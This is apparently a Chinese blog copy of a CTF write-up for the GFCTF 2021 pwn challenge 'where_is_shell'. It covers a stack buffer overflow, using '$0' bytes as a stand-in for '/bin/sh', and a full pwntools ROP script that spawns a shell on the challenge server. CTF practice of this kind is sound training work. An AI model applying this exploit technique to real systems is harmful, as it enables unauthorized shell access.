NSSCTF [GFCTF 2021]where_is_shell

news2025/5/19 22:49:29

889.[GFCTF 2021]where_is_shell(system($0)64位)

[GFCTF 2021]where_is_shell

(1)

1.准备
motaly@motaly-VMware-Virtual-Platform:~$ file shell
shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7475d68277d0c9c5d2060591d874af8a5ed0f8e9, not stripped
motaly@motaly-VMware-Virtual-Platform:~$ checksec --file=shell
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   63 Symbols	  No	0		1		shell

就开了一个NX保护

2.ida分析
main函数
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF

  system("echo 'zltt lost his shell, can you find it?'");
  read(0, buf, 0x38uLL);
  return 0;
}

read最多读取56(0x38),但buf大小为16,所以存在缓冲区溢出

tips函数(后门函数)
__int64 tips()
{
  return MEMORY[0x403569]();
}

这里ida暴红,感觉这个地址或函数是有用的,不过一时间不知道有啥用
同时浅查了一下,这里是直接跳转到内存地址0x403569执行代码
总的这里
先看栈情况

-0000000000000010 // Use data definition commands to manipulate stack variables and arguments.
###### -0000000000000010 // Frame size: 10; Saved regs: 8; Purge: 0
###### -0000000000000010
###### -0000000000000010     _BYTE buf[16];
###### +0000000000000000     _QWORD __saved_registers;
###### +0000000000000008     _UNKNOWN *__return_address;
###### +0000000000000010
###### +0000000000000010 // end of stack variables

得到偏移量为0x10+8
然后有system函数,但是没找到'/bin/sh'等连接路径
 


 


看了其他的wp发现了一个关键点在tips函数中那个地址的机械码
 


24和30转换成10进制ASCII码$0

这里就涉及一个新的知识点:

/bin/sh 是执行脚本的解释器

$0可以是shell脚本中的特殊变量,0表示当前脚本的名称

在特定的一些情况下,$0可以起到'/bin/sh'的效果,但不是$0等于'/bin/sh'
这道题就是特定的情况

3.EXP
思路:

有了'/bin/sh'的替代$0和system,就是一个简单的64位栈溢出system('/bin/sh')

1.我们可以先获得system和$0的地址
2.然后64位里传参需要寄存器和64位可能会涉及到堆栈平衡,所以需要一个寄存器和ret地址
3.最后构造ROP链,获得连接
在ida中查看
 


得到system地址为0x400430
 


因为24前还有一字节E8,所以$0的地址是0x400540+1=0x400541
通过ROPgadget指令对寄存器和ret进行查找
 


选择rdi寄存器,rdi地址为0x4005e3,ret地址为400416
最后构造ROP链

payload=b'a'*(0x10+8)+p64(ret)+p64(rdi)+p64(shell)+p64(system)

先是偏移量,然后为了堆栈平衡写一个ret填充,再是寄存器和参数shell($0),最后返回地址system

(64位是先写参数再写返回地址,所以虽然我们要的是system+$0,但$0和寄存器在前面)

总的脚本如下
from pwn import *
context.log_level = "debug"
io=remote('node4.anna.nssctf.cn',28217)
# io= process('/home/motaly/shell')
system=0x400430
shell=0x400541
rdi=0x4005e3
ret=0x400416
payload=b'a'*(0x10+8)+p64(ret)+p64(rdi)+p64(shell)+p64(system)
io.sendlineafter(b'zltt lost his shell, can you find it?\n',payload)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2379574.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电子数据取证(数字取证)技术全面指南:从基础到实践

为了后续查阅方便,推荐工具先放到前面 推荐工具 数字取证基础工具 综合取证平台 工具名称类型主要功能适用场景EnCase Forensic商业全面的证据获取和分析、强大的搜索能力法律诉讼、企业调查FTK (Forensic Toolkit)商业高性能处理和索引、集成内存分析大规模数据处…

Ubuntu使用Docker搭建SonarQube企业版(含破解方法)

目录 Ubuntu使用Docker搭建SonarQube企业版(含破解方法)SonarQube介绍安装Docker安装PostgreSQL容器Docker安装SonarQube容器SonarQube汉化插件安装 破解生成license配置agent 使用 Ubuntu使用Docker搭建SonarQube企业版(含破解方法&#xff…

Django 项目的 models 目录中,__init__.py 文件的作用

在 Django 项目的models/init.py文件中,这些导入语句的主要作用是将各个模型类从不同的模块中导入到models包的命名空间中。这样做有以下几个目的: 简化导入路径 当你需要在项目的其他地方使用这些模型时,可以直接从models包导入&#xff0c…

网络的知识的一些概念

1.什么是局域网,什么是广域网 局域网(Local area network)也可以称为本地网,内网,局域网有这几个发展经历: 最开始电脑与电之间是直接用网线连接的 再后来有了集线器() 再后来出…

芋道项目,商城模块数据表结构

一、需求 最近公司有新的业务需求,调研了一下,决定使用芋道(yudao-cloud)框架,于是从github(https://github.com/YunaiV/yudao-cloud)上克隆项目,选用的是jdk17版本的。根据项目启动手册&#…

【氮化镓】HfO2钝化优化GaN 器件性能

2025年,南洋理工大学的Pradip Dalapati等人在《Applied Surface Science》期刊发表了题为《Role of ex-situ HfO2 passivation to improve device performance and suppress X-ray-induced degradation characteristics of in-situ Si3N4/AlN/GaN MIS-HEMTs》的文章。该研究基…

SQLMesh 增量模型从入门到精通:5步实现高效数据处理

本文深入解析 SQLMesh 中的增量时间范围模型,介绍其核心原理、配置方法及高级特性。通过实际案例说明如何利用该模型提升数据加载效率,降低计算资源消耗,并提供配置示例与最佳实践建议,帮助读者在实际项目中有效应用这一强大功能。…

Zookeeper 入门(二)

4. Zookeeper 的 ACL 权限控制( Access Control List ) Zookeeper 的ACL 权限控制,可以控制节点的读写操作,保证数据的安全性,Zookeeper ACL 权 限设置分为 3 部分组成,分别是:权限模式(Scheme)、授权对象&#xff08…

【架构篇】安全架构-双向认证

mTLS(Mutual TLS)详解:双向认证的原理、流程与实践 摘要 mTLS(Mutual TLS)是一种基于数字证书的双向身份验证协议,广泛应用于微服务通信、金融交易等高安全场景。本文深入解析mTLS的工作原理、认证流程、W…

负载均衡—会话保持技术详解

一、会话保持的定义 会话保持(Session Persistence)是一种负载均衡策略,其核心机制是确保来自同一客户端的连续请求,在特定周期内被定向到同一台后端服务器进行处理。这种机制通过记录和识别客户端的特定标识信息,打破…

Flask快速入门和问答项目源码

Flask基础入门 源码: gitee:我爱白米饭/Flask问答项目 - 码云 目录 1.安装环境2.【debug、host、port】3.【路由params和query】4.【模板】5.【静态文件】6.【数据库连接】6.1.安装模块6.2.创建数据库并测试连接6.3.创建数据表6.4.ORM增删改查 6.5.ORM模…

go语法大赏

前些日子单机房稳定性下降,找了好一会才找到真正的原因。这里面涉及到不少go语法细节,正好大家一起看一下。 一、仿真代码 这是仿真之后的代码 package mainimport ("fmt""go.uber.org/atomic""time" )type StopSignal…

软件工程各种图总结

目录 1.数据流图 2.N-S盒图 3.程序流程图 4.UML图 UML用例图 UML状态图 UML时序图 5.E-R图 首先要先了解整个软件生命周期: 通常包含以下五个阶段:需求分析-》设计-》编码 -》测试-》运行和维护。 软件工程中应用到的图全部有:系统…

AAAI2024 | 基于特征多样性对抗扰动攻击 Transformer 模型

Attacking Transformers with Feature Diversity Adversarial Perturbation 摘要-Abstract引言-Introduction相关工作-Related Work方法-Methodology实验-Experiments结论-Conclusion 论文链接 本文 “Attacking Transformers with Feature Diversity Adversarial Perturbatio…

关于数据湖和数据仓的一些概念

一、前言 随着各行业数字化发展的深化,数据资产和数据价值已越来越被深入企业重要发展的战略重心,海量数据已成为多数企业生产实际面临的重要问题,无论存储容量还是成本,可靠性都成为考验企业数据治理的考验。本文来看下海量数据存储的数据湖和数据仓,数据仓库和数据湖,…

常用的Java工具库

1. Collections 首先是 java.util 包下的 Collections 类。这个类主要用于操作集合,我个人非常喜欢使用它。以下是一些常用功能: 1.1 排序 在工作中,经常需要对集合进行排序。让我们看看如何使用 Collections 工具实现升序和降序排列&…

R S的EMI接收机面板

图片摘自R & S官网。 根据您提供的第一张图(设备前面板带屏幕的图像),这是 Rohde & Schwarz ESRP7 EMI Test Receiver 的正面显示界面,我将对屏幕上显示的参数逐项进行解读: 🖥️ 屏幕参数解读 左…

[ctfshow web入门] web122

信息收集 这一题把HOME开放了&#xff0c;把#和PWD给过滤了 <?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST[code])){$code$_POST[code];if(!preg_match(/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|US…

Java虚拟机 - JVM与Java体系结构

Java虚拟机 JVM与Java体系结构为什么要学习JVMJava与JVM简介Java 语言的核心特性JVM&#xff1a;Java 生态的基石JVM的架构模型基于栈的指令集架构&#xff08;Stack-Based&#xff09;基于寄存器的指令集架构&#xff08;Register-Based&#xff09;JVM生命周期 总结 JVM与Jav…

灌区量测水自动化监测解决方案

一、方案背景 随着社会发展和人口增长&#xff0c;水资源需求不断增大。我国水资源总量虽然丰富&#xff0c;但时空分布不均&#xff0c;加之农业用水占比大且效率偏低&#xff0c;使得水资源短缺问题日益凸显。农业用水一直是我国的耗水大户&#xff0c;占全部耗水总量的60%以…